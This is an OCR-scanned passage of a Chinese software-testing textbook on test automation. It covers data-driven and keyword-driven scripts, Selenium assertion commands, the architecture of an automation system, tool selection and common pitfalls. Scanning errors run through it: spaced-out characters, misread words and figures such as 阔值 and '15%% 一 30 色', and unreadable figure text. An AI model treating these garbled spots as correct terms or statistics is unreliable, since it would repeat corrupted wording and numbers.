而 不 是 存储 在 脚本 中 。 针 对 某 些 功能 测试 时 ,操作 步骤 是 一 样 的 ,而 输入 数据 是 不 一 样 的 , 相 
当 于 一 个 测试 用 例 对 应 一 组 输入 数据 。 这 样 , 同 一 个 脚本 可 以 针对 不 同 的 数据 输入 而 实现 多 
个 测试 用 例 的 自动 执行 ,提高 了 脚本 的 使 用 效率 和 可 维护 性 。 在 实现 上 ,一 般 都 在 脚本 中 引入 
变量 ,通过 变量 来 引用 数据 ,脚本 本 身 描述 测试 的 具体 执行 过 程 。 

在 实际 测试 当中 ,这 种 情况 很 多 ,例如 ,用 户 登 录 的 功能 测试 中 ,“ 用 户 名 ,口令 ”就 是 输入 
数据 ,测试 时 需要 对 不 同 的 情形 分 别 测试 ,如 用 户 名 为 空 , 口 令 为 空 、 大 小 写 是 否 区 分 、 是 否 允 
许 特殊 字符 等 。 更 理想 的 数据 驱动 脚本 ,可 以 控制 测试 的 工作 量 , 即 控制 业务 操作 过 程 ,真正 
地 由 数据 来 驱动 测试 ,使 自动 化 测试 具有 一 定 的 智能 性 。 关 键 字 驱 动 脚本 是 控制 单个 具体 的 
“动作 ”, 而 数据 驱动 是 控制 “过 程 ” 即 业务 层次 上 的 操作 。 


测试 数据 列表 (Datatable) 
序号 ”用 户 名 口令 


1 Test Passl 
2 test sp passl 
二 test pass 1 
4 test P@ss! 


数据 驱动 脚本 示例 

For i=1 to Datatable. GetRowCount 
Dialog("Login"). WinEdit("AgentName:").SetDataTable("username", dtGlobalSheet) 
Dialog("Login"). WinEdit("Password:"). SetDataTable("passwd", dtGlobalSheet) 
Dialog("Login"). WinButton("OK").Click 
datatable. GlobalSheet. SetNextRow 

Next 


4. 关键 字 驱 动 脚本 

关键 字 了 驱动 脚 本 (Keyword-Driven 或 Table-Driven Testing script) ,看 上 去 非常 像 手工 测 
试 的 用 例 , 脚 本 用 一 个 简单 的 表格 来 表示 ,如 表 9-1 所 示 。 关 键 字 驱 动 脚本 ,是 数据 驱动 脚本 
的 逻辑 扩张 ,实际 上 是 封装 了 各 种 基本 的 操作 ,每 个 操作 由 相应 的 函数 实现 ,而 在 开发 脚本 时 ， 
不 需要 关心 这 些 基础 函数 ,直接 使 用 已 定义 好 的 关键 字 , 这 样 的 好 处 是 脚本 编写 的 效率 会 有 很 
大 的 提高 ,脚本 维护 起 来 也 很 容易 。 而 且 .关键 字 驱 动 脚本 构成 简单 ,脚本 开发 按 关键 字 来 处 
理 , 可 以 看 作 是 业务 逻辑 的 文字 描述 ,每 一 个 测试 人 员 都 能 开发 ,这 就 能 做 到 “全 民 皆 兵 ”- 一 
每 个 测试 人 员 都 可 以 进行 自动 化 测试 的 工作 。 

当然 ,可 以 在 这 基础 上 对 底层 命令 进行 封装 ,形成 更 高 层次 上 (服务 或 业务 层次 ) 的 关键 
字 。 关 键 字 的 层次 处 在 合适 的 水 平 , 既 不 要 关注 细节 ,也 不 能 过 高 。 如 果 关 键 字 过 于 复杂 , 包 
罗 万 象 ,就 不 够 灵活 ,甚至 无 法 适应 业务 逻辑 的 变化 ,反而 给 脚本 维护 带 来 巨大 的 工作 量 。 


表 9-1 关键 字 驱 动 脚本 示例 (SeleniumHTML 格式 脚本 ) 


命令 
(关键 字 ) 对 象 (操作 对 象 ) 值 (属性 ) 注释 
/config/login_verify2. src= yc&. intl 一 访问 雅虎 日 历 站 点 ;http:// 
open cn&.. partner= &. done= http% 3a//cn. 
cn. calendar. yahoo. com/ 
calendar. yahoo. com/ 
Type username testl 输入 用 户 名 “test1” 
Type password 1234567 输入 密码 “1234567” 
clickAndWait //input[@value== "登录 '] 单 击 “ 登 录 " 按 钮 
verifyTextPresent |“ 登 出 ,我 的 账户 ” 验证 用 户 登 录 成 功 


9.2.4 自动 比较 技术 


自动 执行 测试 脚本 时 ,预期 输出 是 事先 定义 的 或 插入 脚本 中 ,然后 在 测试 过 程 中 运行 脚 
本 ,将 捕获 的 结果 和 预先 准备 的 输出 进行 比较 ,从 而 确定 测试 用 例 是 否 通过 。 所 以 ,自动 比较 
技术 在 软件 测试 自动 化 中 不 可 缺少 的 。 

简单 比较 ,就 是 对 执行 过 程 中 输出 的 数值 和 期 望 获得 的 数值 进行 比较 ,例如 ,进行 5X6 乘 
法 运算 的 期 望 结果 是 30, 脚 本 执行 时 模拟 计算 器 程序 输入 *5”“X”“6” 之 后 , 单 击 “ 二 ”, 其 结 
果 显 示 30, 说 明 验 证 通过 。 当 然 ,有 更 复杂 的 比较 ,如 比较 文件 名 ,文件 大 小 、 文 件 内 容 , 还 有 
Windows 窗口 或 控件 的 属性 ,甚至 比较 整个 屏幕 或 屏幕 上 某 个 区 域 图 像 等 。 

图 片 或 自 绘 窗口 特效 的 验证 是 自动 化 测试 中 的 一 个 难点 。 虽 然 有 些 自 动 化 测试 工具 提供 
了 验证 图 片 的 功能 ,但 是 稳定 性 都 不 是 很 好 。 一 般 图 片 验 证 原理 是 首先 截取 并 保存 正确 的 图 
片 ,然后 将 脚本 运行 时 截取 的 图 片 与 保存 的 图 片 进行 比较 。 由 于 这 种 比较 是 在 像素 级 上 进行 ， 


极 微 小 的 差异 都 会 被 认为 是 不 同 的 ,这 可 能 导致 一 一 同样 的 脚本 在 不 同 物理 机 器 (显示 卡 、 操 
作 系 统 等 不 同 ) 上 运行 时 ,常常 会 因为 显示 上 的 微小 差异 而 导致 检查 结果 失败 ,但 用 户 是 可 以 
接受 的 。 

有 的 测试 工具 可 以 设 定 阔 值 ,允许 存在 微小 的 差异 ,高 于 阔 值 的 ,被 认为 “差异 明显 存在 ”， 
认定 验证 失败 ;而 低 于 或 等 于 阔 值 的 差异 将 被 忽视 ,认定 验证 通过 。 这 样 ,测试 结果 会 比较 稳 
定 、 可 靠 。 如 果 阔 值 可 以 根据 实际 情况 或 用 户 的 特定 要 求 进行 自动 调整 ,那么 比较 技术 具有 一 
定 的 智能 性 ,这 种 自动 比较 技术 ,可 以 称 为 “智能 比较 ”。 例 如 ,要 求 比较 (验证 ) 包 含 日 期 信息 
和 数据 的 输出 报表 ,是 比较 困难 的 ,因为 输出 报表 中 的 日 期 和 数据 都 是 动态 的 。 这 时 ,可 能 需 
要 智能 比较 ,可 能 要 针对 日 期 格式 和 数据 特征 来 进行 比较 。 当 然 ,为 了 确认 数据 的 正确 性 或 为 
了 使 结果 具有 良好 的 可 靠 性 ,需要 精心 设计 ,自动 产生 所 需 的 测试 数据 ,从 而 根据 预先 准备 的 
测试 数据 ,采用 另外 一 种 方法 来 获得 期 望 的 结果 ,然后 与 实际 测试 结果 进行 比较 。 

在 软件 自动 化 测试 脚本 中 ,一 般 存 在 两 类 比较 模式 一 一 验证 (Verify) 和 断言 (Assert) ,其 
比较 能 力 是 相近 的 ,Assert 命令 都 有 对 应 的 Verify 命令 ,但 对 验证 结果 的 处 理 是 不 一 样 的 。 

(1) 当 Assert 失败 时 , 则 退出 当前 测试 ; 

(2) 当 Verify 失败 时 ,测试 会 继续 运行 。 

例如 ,下 面 将 要 介绍 的 Web 功能 测试 工具 Selenium, 就 有 十 几 个 用 于 自动 比较 的 命 
令 , 即 : 

(1) assertTitle(titlePattern) 检 查 当 前 页 面 的 标题 (Title) 是 否 正确 。 

(2) assertValue(inputLocator，valuePattern) 检 查 输入 (Input) 的 值 。 

(3) assertSelected (selectLocator, optionSpecifier) 检 查 下 拉 菜 单 中 选项 是 否 匹 配 。 

(4) assertText (elementLocator,textPattern) 检 查 指定 元 素 的 文本 。 

(5) assertTextPresent(text) 检 查 当 前 页 面 上 是 否 出 现 指 定 的 文本 。 

(6) assertAttribute(. {}elementLocator@attributeName. {}，ValuePattern) 检 查 当 前 指 
定 元 素 的 属性 的 值 。 

(7) assertTable(cellAddress，valuePattern) 检 查 表格 (Table) 里 某 个 单元 (Cell) 的 值 。 

(8) assertVisible(elementLocator) 检 查 指 定 的 元 素 是 否 可 视 。 

(9) assertEditable(inputLocator) 检 查 指定 的 输入 域 是 否 可 以 编辑 。 

(10) assertAlert(messagePattern) 检 查 JavaScript 是 否 产 生 指 定 信 息 (Message) 的 警告 
对 话 框 。 

(11) assertPrompt(messagePattern) 检 查 JavaScript 是 否 产生 指定 Message 的 提示 对 话 框 。 


9.2.5 测试 自动 化 系统 的 构成 


在 进行 自动 化 测试 时 ,最 简单 的 情况 就 是 在 单 台 测 试 机 器 上 运行 测试 工具 ,由 这 台 机 器 执 
行 存储 在 本 机 上 的 测试 用 例 , 即 向 被 测试 的 软件 系统 发 送 请 求 或 操作 命令 ,并 显示 测试 过 程 ， 
记录 测试 结果 。 但 在 大 规模 的 自动 化 测试 过 程 中 , 靠 一 台 测试 机 不 能 完全 解决 问题 ,需要 多 台 
机 器 协助 工作 ,而 且 还 需要 调度 、 控 制 这些 测试 机 器 ,以 及 需要 特定 的 服务 器 用 于 存储 和 管理 
测试 任务 .测试 脚本 和 测试 结果 。 这 时 ,需要 系统 地 解决 自动 化 测试 框架 及 其 环境 问题 。 

自动 化 脚本 的 开发 可 以 看 作 类 似 于 软件 开发 的 工作 , 它 需要 相应 的 集成 开发 环境 。 所 以 ， 
在 讨论 自动 化 测试 系统 时 ,着 重 考虑 自动 化 测试 执行 的 环境 ,也 就 是 构成 自动 化 系统 的 基本 框 
架 。 作 为 测试 自动 化 的 基本 结构 ,可 以 看 作 由 下 面 6 部 分 组 成 ,如 图 9-3 所 示 。 


文件 服务 器 
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DEV/Test Build 口 
数据 库 服 务 器 ”测试 用 例 、 脚 本 等 本 多 器 。 指 人 通信 
工作 项 目 运行 控制 
于 测试 结果 
分 派 工作 
数据 库存 取 Web 服 务 器 a 
查询 结果 口 
架 作 请 求 测试 人 员工 作 机 


9-3 测试 自动 化 的 基本 结构 


(1) 构建 ,存放 程序 软件 包 和 测试 软件 包 的 文件 服务 器 ,在 这 个 服务 器 上 进行 软件 包 的 构 
建 ,并 使 测试 工具 可 以 存 取 这 些 软件 包 。 

(2) 存储 测试 用 例 和 测试 结果 的 数据 库 服务 器 ,提高 过 程 管理 的 质量 ,同时 生成 统计 所 需 
要 的 数据 。 

(3) 执行 测试 的 运行 环境 一 一 测试 试验 室 ,或 一 组 测试 用 的 服务 器 或 PC。 单 元 测试 或 集 
成 测试 可 能 多 用 单机 运行 。 但 对 于 系统 测试 或 回归 测试 ,就 极 有 可 能 需要 多 台 机 器 在 网 络 上 
同时 运行 。 

(4) 控制 服务 器 ,负责 测试 的 执行 、 调 度 ,从 服务 器 读 取 测试 用 例 ,向 测试 环境 中 代理 
(Agent) 发 布 命 令 。 

(5) Web 服务 器 ,负责 显示 测试 结果 、 生 成 统计 报表 ,结果 曲线 ; 作为 测试 指令 的 转 接点 ， 
接受 测试 人 员 的 指令 ,向 控制 服务 器 传送 。 同 时 ,根据 测试 结果 ,自动 发 出 电子 邮件 给 测试 或 
开发 的 相关 人 员 。Web 服务 器 ,有 利于 开发 团体 的 任何 人 员 都 可 以 方便 地 查询 测试 结果 ,也 
方便 测试 人 员 在 自己 办 公 室 就 可 以 运行 测试 。 

(6) 客户 端 程序 ,测试 人 员 在 自己 机 器 安装 的 程序 ,许多 时 候 ,要 写 一 些 特殊 的 软件 来 执 
行 测 试 结果 与 标准 输出 的 对 比 工作 或 分 析 工 作 , 因 为 可 能 有 部 分 的 输出 内 容 是 不 能 直接 对 比 
的 ,就 要 用 程序 进行 处 理 。 

理想 的 测试 工具 可 以 在 任何 一 个 路 径 位 置 上 运行 .可 以 到 任何 路 径 位 置 去 取得 测试 用 例 ， 
同时 也 可 以 把 测试 的 结果 输出 放 到 任何 的 路 径 位 置 上 去 。 这 样 的 设计 ,可 以 使 不 同 的 测试 运 
行 能 够 使 用 同一 组 测试 用 例 而 不 至 于 互相 干扰 ,也 可 以 灵活 使 用 硬盘 的 空间 ,并 且 使 备份 保存 
工作 易于 控制 。 

同时 ,软件 自动 测试 工具 必须 能 够 有 办 法 方便 地 选择 测试 用 例 库 中 的 全 部 或 部 分 来 运行 ， 
也 能 够 自由 地 选择 被 测试 的 产品 或 阶段 性 成 果 作为 测试 对 象 。 


9.3 测试 自动 化 的 实施 


根据 测试 的 要 求 和 任务 ,来 决定 选择 什么 样 的 测试 工具 。 对 于 一 些 特殊 的 应 用 ,特别 是 一 
些 应 用 服务 器 的 功能 测试 ,没有 测试 工具 选择 ,需要 自己 开发 新 的 ,特定 的 测试 工具 。 在 多 数 
情况 下 ,选用 开源 测试 工具 或 第 三 方 专业 软件 测试 工具 厂家 的 产品 是 一 种 比较 明智 的 方法 。 

在 选择 测试 工具 之 前 ,需要 对 测试 工具 有 一 个 总 体 的 了 解 ,包括 有 哪 几 类 测试 工具 、 有 哪 
些 工具 可 供 选择 。 然 后 ,进一步 了 解 选择 的 标准 是 什么 ,以 及 如 何 做 出 正确 的 决策 。 


9.3.1 测试 工具 的 分 类 


软件 测试 工具 种 类 很 多 , 既 有 商业 版 本 ,也 有 免费 的 开源 版 本 。 有 时 候 , 也 根据 软件 应 用 
领域 来 划分 测试 工具 ,包括 Web 测试 工具 .嵌入 式 测 试 工具 等 。 但 一 般 来 说 ,会 按 以 下 两 个 方 
面 来 进行 分 类 。 

(1) 根据 测试 方法 不 同 , 分 为 白 盒 测 试 工具 和 黑 盒 测试 工具 ,或 者 分 为 静态 测试 工具 和 动 
态 测试 工具 等 。 

(2) 根据 测试 的 对 象 和 目的 不 同 ,分 为 单元 测试 工具 、 功 能 测试 工具 、 负 载 测试 工具 或 性 
能 测试 工具 测试 管理 工具 等 。 

在 平时 应 用 时 不 会 太 在 乎 是 白 盒 测试 工具 还 是 黑 盒 测 试 工具 .是 动态 测试 工具 还 是 静态 
测试 工具 ,关键 是 解决 问题 ,人 们 往往 关心 是 解决 了 功能 测试 还 是 解决 了 性 能 测试 , 即 更 会 关 
心 工具 所 能 完成 什么 样 的 测试 工作 ,所 以 在 后 面 各 节 将 按 功能 测试 工具 、 性 能 测试 工具 等 分 类 
来 进行 详细 的 讨论 ,而 单元 测试 工具 已 在 第 5 章 中 讨论 过 ,本 章 将 不 再 讨论 。 

1. 白 盒 测试 工具 

白 盒 测 试 工具 是 针对 程序 代码 ,程序 结构 .对象 属 性 、 类 层次 等 进行 测试 ,测试 中 发 现 的 缺 
陷 可 以 定位 到 代码 行 ,单元 测试 工具 多 属于 白 盒 测试 工具 。 针 对 白 盒 测试 工具 ,可 以 进一步 划 
分 为 静态 测试 工具 和 动态 测试 工具 ,但 像 Parasoft 公司 的 Jtest 和 C++Test, 既 是 静态 测试 工 
具 , 也 是 动态 测试 工具 。 

(1) 静态 测试 工具 对 代码 进行 语法 扫描 , 找 出 不 符合 编码 规范 的 地 方 , 根 据 某 种 质量 模型 
评价 代码 的 质量 ,生成 系统 的 调用 关系 图 等 ,所 以 它 是 直接 对 代码 进行 分 析 , 不 需要 运行 代码 ， 
也 不 需要 对 代码 编译 链接 .生成 可 执行 文件 。 静 态 测 试 工 具 主要 有 Compuware 公司 的 
CodeReview Telelogic 公司 的 Logiscope 软件 .PR 公司 的 PRQA 软件 。 另 外 ,多 数 安全 性 测 
试 工具 ,通过 代码 的 扫描 来 分 析 代 码 并 找 出 安全 漏洞 ,也 属于 静态 测试 工具 。 

(2) 动态 测试 工具 与 静态 测试 工具 不 同 ,需要 实际 运行 被 测 代 码 , 并 设置 断 点 ,向 代码 生 
成 的 可 执行 文件 中 插入 一 些 监 测 代 码 , 掌 握 断 点 这 一 时 刻 程序 运行 数据 (对 象 属性 、 变 量 的 值 
等 )。 动 态 测试 工具 主要 有 Compuware 公司 的 DevPartner 软件 .IBM 公司 的 Rational Purify 
系列 。 

2. 黑 盒 测试 工具 


黑 盒 测试 工具 ,一般 是 通过 图 形 用 户 界 面 (Graphical User Interface,GUJI) 来 实现 自动 化 
测试 , 即 利用 脚本 的 录制 (Record)/ 回 放 (Playback) ,模拟 用 户 的 操作 ,然后 将 被 测 系统 的 输出 
记录 下 来 同 预先 给 定 的 标准 结果 比较 。 黑 盒 测 试 工具 一 般 应 用 于 系统 的 功能 测试 和 负载 测 


试 ,性 能 测试 等 , 复 用 性 比较 好 ,适合 进行 大 规模 的 回归 测试 和 各 种 性 能 测试 。 如 GUI 功能 测 
试 工具 的 代表 有 HP 公司 的 Quick Test Professional(QTP) IJBM Rational Funtional tester、 
Parasoft 公司 的 WebKing、Microfocus 公司 的 SilkTest 等 ; 性 能 测试 工具 有 HP 公司 的 


LoadRunner IBM Rational Performance tester 等 。 
9.3.2 测试 工具 的 选择 


要 选择 好 测试 工具 ,首先 就 要 根据 软件 产品 或 项 目的 需要 ,确定 要 用 哪 一 类 的 工具 ,是 白 
盒 测试 工具 还 是 黑 盒 测试 工具 ? 是 功能 测试 工具 还 是 负载 测试 工具 ? 即使 在 特定 的 一 类 工具 
中 ,还 需要 从 众多 不 同 的 产品 中 选择 合适 的 工具 。 测 试 工具 的 选择 是 测试 自动 化 的 一 个 重要 
步骤 之 一 ,选择 一 个 产品 ,不 外 乎 针对 自己 的 需求 .不同 产品 的 功能 、 价 格 、 服 务 等 进行 比较 分 
析 ,选择 比较 适合 自己 的 .性 能 价格 比 好 的 两 三 种 产品 作为 候选 对 象 。 

(1) 如 果 是 开源 工具 ,就 需要 分 别 试用 一 段 时 间 并 进行 评估 ,然后 集体 讨论 .做 出 决定 。 

(2) 如 果 是 商业 工具 ,比较 好 的 方法 就 是 请 这 两 三 种 产品 的 商家 来 做 演示 ,并 让 他 们 通过 
工具 实现 几 个 比较 难 或 比较 典型 的 测试 用 例 。 最 后 ,根据 演示 的 效果 、 商 业 谈判 的 价格 、 产 品 
功能 和 售后 服务 等 进行 综合 评估 ,做 出 选择 。 

在 选择 测试 工具 时 ,需要 关注 工具 自身 的 特性 , 即 具备 哪些 功能 ,功能 强大 的 工具 会 得 
到 更 多 的 关注 。 当 然 也 不 是 说 ,功能 越 强 大 越 好 ,在 实际 的 选择 过 程 中 ,预算 是 基础 ,解决 
问题 是 前 提 , 质 量 和 服务 是 保证 ,适用 才 是 根本 。 为 不 需要 的 功能 花 钱 是 不 明智 的 , 够 用 就 
可 以 了 。 同 样 ,仅仅 为 了 省 几 个 钱 , 忽 略 了 产品 的 关键 功能 或 服务 质量 ,也 不 能 说 是 明智 的 
行为 。 

在 引入 /选择 测试 工具 时 ,不 仅 要 考虑 性 能 价格 比 、 产 品 的 成 熟 度 , 还 要 考虑 测试 工具 引入 
的 连续 性 ,也 就 是 说 ,对 测试 工具 的 选择 必须 有 一 个 全 盘 的 考虑 ,分 阶段 .逐步 地 引入 测试 工 
具 。 一 般 来 说 ,测试 工具 的 选择 步骤 如 图 9-4 所 示 。 
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图 9-4 自动 化 测试 的 工具 选择 示意 图 


(1) 成 立 小 组 负责 测试 工具 的 选择 和 决策 ,制定 时 间 表 ; 

(2) 确定 自己 的 需求 ,研究 可 能 存在 的 不 同 解决 方案 ,并 进行 利 束 分析; 

(3) 了 解 市 场 上 满足 自己 需求 的 产品 ,包括 基本 功能 .限制 价 格 和 服务 等 ; 

(4) 根据 市 场 上 产品 的 功能 .限制 和 价格 ,结合 自己 的 开发 能 力 、 了 预算、 项目 周 期 等 决定 是 
自己 开发 ,还 是 购买 ; 

(5) 对 市 场 上 的 产品 进行 对 比分 析 ,确定 两 三 种 产品 作为 候选 产品 ; 


(6) 请 候选 产品 的 厂商 来 介绍 .演示 ,并 解决 几 个 实例 ; 
(7) 初步 确定 ; 
(8) 商务 谈判 ; 
(9) 最 后 决定 。 


9.3.3 测试 自动 化 普遍 存在 的 问题 


对 测试 自动 化 及 其 工具 所 能 发 挥 的 作用 ,大 家 都 已 经 了 解 并 认可 了 ,但 是 很 多 软件 公司 在 
实施 自动 化 测试 时 并 没有 达到 预期 效果 ,没有 让 测试 工具 发 挥 应 有 的 作用 。 这 里 面 的 原因 比 
较 多 ,主要 有 以 下 几 个 方面 。 

1. 不 正确 的 观念 或 不 现实 的 期 望 

没有 建立 一 个 正确 的 软件 测试 自动 化 的 观念 ,或 操之过急 ,或 认为 测试 自动 化 可 以 代替 手 
工 测试 ,或 认为 测试 自动 化 可 以 发 现 大 量 新 缺陷 等 。 多 数 情况 下 ,对 软件 测试 自动 化 存在 过 于 
乐观 的 态度 ,过 高 的 期 望 ,人 们 都 期 望 通过 这 种 测试 自动 化 的 方案 能 解决 目前 所 有 过 到 的 问 
题 ,而 同时 测试 工具 的 软件 厂商 自然 会 强调 有 利 的 或 成 功 的 一 面 ,可 能 对 要 取得 这 种 成 功 所 要 
做 出 持久 不 懈 的 努力 , 却 只 字 不 提 。 结 果 最 初 的 期 望 却 没有 实现 ,自动 化 测试 也 就 不 了 了 之 。 

2. 缺乏 具有 良好 素质 经验 的 测试 人 才 

有 些 软件 公司 舍得 花 几 十 万 元 去 买 测试 工具 软件 , 却 不 愿意 给 出 有 竞争 力 的 薪水 来 招聘 
具有 良好 素质 、 经 验 丰富 的 测试 人 才 。 软 件 测试 自动 化 并 不 是 简 简 单单 地 使 用 测试 工具 ,而 需 
要 基于 测试 工具 开发 大 量 的 测试 脚本 ,并 在 脚本 开发 中 不 断 调试 ,修改 、 完 善 脚本 。 这 就 要 求 
测试 人 员 不 仅 熟悉 产品 的 特性 和 应 用 领域 .熟悉 测试 流程 ,而 且 需 具备 良好 的 编程 能 力 和 
经 验 。 

3. 测试 工具 本 身 的 问题 影响 测试 的 质量 

一 般 不 会 针对 自动 化 测试 脚本 进行 大 规模 的 测试 ,所 以 自动 测试 的 脚本 的 质量 往往 依赖 
于 测试 人 才 的 经 验 和 工作 态度 。 而 通过 自动 测试 工具 执行 的 测试 用 例 是 不 需要 再 进行 手工 测 
试 的 。 如 果 自 动 测试 工具 的 质量 得 不 到 保证 ,将 直接 影响 到 测试 结果 的 正确 性 。 

如 果 软 件 测试 工具 没有 发 现 被 测 软件 的 缺陷 ,并 不 能 说 明 软 件 中 不 存在 问题 ,而 可 能 是 测 
试 工具 本 身 不 够 全 面 的 问题 或 测试 的 预期 结果 设置 不 对 。 第 一 次 进行 自动 化 测试 时 ,可 以 结 
合 手工 测试 的 结果 ,进行 对 比分 析 和 相互 验证 ,这 样 做 是 有 益 的 ,甚至 是 必要 的 。 

4. 没有 进行 有 效 的 、 充 分 的 培训 

人 员 和 培训 是 相辅相成 的 ,如 果 没 有 良好 的 有效 的 、 充 分 的 培训 ,测试 人 员 对 测试 工具 了 
解 缺 乏 深度 和 广度 ,会 导致 其 使 用 效率 低下 ,其 应 用 结果 不 理想 。 这 种 培训 是 一 个 长 期 的 过 
程 ,不 是 通过 一 两 次 讲课 的 形式 就 能 达到 效果 。 而 且 , 在 测试 工具 的 实际 使 用 过 程 中 ,测试 工 
具 的 使 用 者 可 能 还 会 遇 到 各 种 问题 ,这 也 需要 有 专人 负责 解决 ,否则 ,会 严重 影响 测试 工具 使 
用 的 积极 性 。 

5. 没有 考虑 到 公司 的 实际 情况 .盲目 引入 测试 工具 

有 一 点 很 明确 ,不 同 的 测试 工具 面向 不 同 的 测试 目的 .具有 各 自 的 特点 和 适用 范围 ,所 以 
不 是 任何 一 个 优秀 的 测试 工具 都 能 适应 不 同 公司 的 需求 。 某 个 公司 怀 着 美好 的 愿望 花 了 不 小 
的 代价 引入 测试 工具 ,一 年 以 后 ,测试 工具 可 能 成 了 摆设 。 究 其 原因 ,就 是 没有 能 够 考虑 公司 


的 实际 情况 ,不 切实 际 地 期 望 测试 工具 能 够 改变 公司 的 现状 ,从 而 导致 失败 。 

例如 ,国内 多 数 软件 公司 是 面向 最 终 用 户 的 一 次 性 项 目的 软件 开发 ,而 不 是 软件 产品 的 开 
发 。 项目 开发 周期 短 , 不 同 的 用 户 需求 不 一 样 ,而 且 在 整个 开发 过 程 中 需求 和 用 户 界面 变动 较 
大 ,这 种 情况 下 就 不 适合 引入 大 规模 的 功能 测试 工具 。 对 于 变化 不 停 的 需求 和 界面 ,开发 和 修 
改 脚本 的 工作 量 很 大 ,不 能 像 产品 开发 中 多 次 重复 运行 脚本 ,缺乏 良好 的 复 用 性 ,自动 化 测试 
收益 低 。 运 用 测试 工具 不 但 不 能 减轻 工作 量 , 反 而 加 重 了 测试 人 员 的 负担 。 这 种 情况 下 可 以 
考虑 引入 白 盒 测试 工具 ,特别 是 静态 测试 工具 ,直接 通过 代码 扫描 发 现 问题 ,规范 代码 ,提升 代 
码 的 质量 。 

6. 没有 形成 一 个 良好 的 使 用 测试 工具 的 环境 

测试 工具 应 用 环境 需要 测试 流程 和 管理 机 制 做 相 适 应 的 变化 ,也 只 有 这 样 ,测试 工具 才能 
真正 发 挥 作用 。 例 如 ,对 于 基于 GUI 的 自动 化 测试 来 说 ,产品 界面 的 改变 对 脚本 的 正常 运行 
影响 较 大 。 再 者 ,单元 测试 主要 由 开发 人 员 自 己 完成 ,如 果 没 有 流程 来 规范 开发 人 员 的 行为 ， 
在 项 目 进度 压力 比较 大 的 情况 下 ,开发 人 员 很 可 能 就 会 有 意识 地 将 工具 不 好 用 作为 借口 而 不 
做 单元 测试 。 所 以 ,有 必要 在 开发 和 测试 的 流程 中 明确 如 何 使 用 测试 工具 ,如 在 项 目 各 个 里 程 
碑 所 提交 的 文档 中 必须 包含 某 些 测试 工具 生成 的 报告 ,如 集成 测试 时 DevPartner 工具 生成 的 
测试 覆盖 率 报告 .Logiscope 生成 的 代码 质量 报告 。 

7. 其 他 技术 问题 和 组 织 问题 

自动 化 测试 脚本 的 维护 工作 量 很 大 ,而 且 软件 产品 本 身 代 码 的 改变 也 需要 遵守 一 定 的 规 
则 ,从 而 保证 测试 脚本 良好 的 可 复 用 性 ,也 就 是 说 测试 自动 化 和 软件 产品 不 能 隔离 开 来 ,而 是 
保持 同步 ,相互 匹配 的 关系 。 

其 次 ,提供 软件 测试 工具 的 第 三 方 厂家 ,对 客户 的 应 用 缺乏 足够 理解 ,很 难 提供 强 有 力 的 
技术 支持 和 具体 问题 的 解决 能 力 。 也 就 是 说 ,软件 测试 工具 和 被 测试 对 象 一 一 软件 产品 或 系 
统 的 互 操 作 性 会 存在 或 多 或 少 的 问题 ,加 之 技术 环境 的 不 断 变 化 ,所 有 这 些 对 测试 自动 化 的 应 
用 推广 和 深入 ,都 带 来 很 大 的 影响 。 


9.3.4 自动 化 测试 的 引入 和 应 用 


在 全 面 启动 软件 测试 自动 化 之 前 ,首先 要 建立 对 软件 测试 自动 化 正确 的 认识 观 。 虽 然 软 
件 测试 自动 化 具有 很 多 优点 ,可 以 提高 测试 效率 、 覆 盖 率 和 可 靠 性 等 ,但 它 只 是 对 手工 测试 的 
一 种 补充 ,软件 测试 自动 化 绝 不 能 代替 手工 测试 ,它们 各 有 各 自 的 特点 和 优势 ,其 测试 对 象 和 
测试 范围 都 不 一 样 。 

(1) 在 系统 功能 逻辑 测试 .验收 测试 .适用 性 测试 .涉及 人 机 交互 性 测试 时 ,多 采用 黑 盒 测 
试 的 手工 测试 方法 。 

(2) 单元 测试 .集成 测试 ,系统 负载 或 性 能 测试 .稳定 性 测试 .可 靠 性 测试 等 比较 适合 采 
自动 化 测试 。 

(3) 对 那 种 不 稳定 软件 的 测试 .开发 周期 很 短 的 软件 或 一 次 性 的 软件 等 不 适合 测试 自动 化 。 

(4) 工具 本 身 并 没有 想象 力 和 灵活 性 ,根据 经 验 报道 ,自动 化 测试 只 能 发 现 15%% 一 30 色 的 
缺陷 ,而 手工 测试 却 可 以 发 现 70%% 一 85 交 的 缺陷 。 所 以 功能 测试 工具 的 准确 含义 是 回归 测试 工 
具 , 因 为 工具 不 能 发 现 更 多 的 新 问题 ,但 可 以 保证 对 已 经 测试 过 的 部 分 可 以 进行 全 面 的 验证 。 

多 数 情况 下 ,手工 测试 和 自动 化 测试 相 结合 ,以 最 有 效 的 方法 来 完成 测试 任务 。 


Es 


1. 找 准 测试 自动 化 的 切入 点 

不 管 是 自己 开发 测试 工具 ,还 是 购买 第 三 方 现成 的 工具 产品 , 当 开 始 启动 测试 自动 化 时 ， 
不 要 希望 一 下 子 就 能 做 很 多 事情 ,可 以 从 最 基本 的 测试 工作 切入 ,如 验证 新 构建 的 软件 包 
(Build) 是 否 有 严重 的 或 致命 的 问题 , 即 验 证 当前 软件 包 的 基本 功能 是 否 正常 工作 。 也 可 以 先 
只 就 某 一 个 简单 模块 开始 自动 化 测试 工作 ,确保 自动 化 测试 的 收益 。 如 果 这 个 模块 的 自动 化 
测试 成 功 了 ,再 向 其 他 模块 全 面 推进 。 

2. 把 测试 开发 纳入 整个 软件 开发 体系 

为 了 良好 实施 自动 化 测试 ,在 产品 软件 设计 阶段 就 应 该 很 好 地 考虑 自动 化 测试 的 要 求 , 保 
证 软件 的 可 测试 性 ,软件 系统 中 每 个 元 素 的 可 存 取 性 。 另 外 ,测试 脚本 也 应 看 作 程 序 , 所 以 应 
该 要 遵守 已 有 的 、 规 范 的 编程 标准 和 规则 ,并 纳入 整个 开发 过 程 中 。 测 试 脚本 也 需要 依靠 配置 
管理 来 提供 良好 的 开发 环境 ,同时 必须 与 所 开发 软件 的 构建 紧密 配合 。 

只 要 是 程序 ,就 同样 会 存在 缺陷 ,就 需要 完成 相应 的 脚本 复查 、 调 试 和 验证 的 过 程 。 这 并 
不 是 要 求 针对 测试 脚本 还 要 进行 大 量 测试 ,从 而 进入 "产品 测试 一 产品 测试 的 脚本 测试 一 脚本 
测试 的 脚本 测试 >……” 递 归 的 死胡同 。 相 对 来 说 ,测试 脚本 语句 、 结 构 和 风 辑 都 简单 ,一般 通 
过 复查 就 能 发 现 脚本 中 的 大 部 分 问题 。 另 外 ,在 执行 脚本 时 ,脚本 的 问题 也 会 暴露 出 来 。 在 脚 
本 执行 中 发 现 的 问题 ,要 么 是 被 测试 的 软件 产品 的 问题 ,要 么 是 测试 脚本 自身 存在 的 问题 , 通 
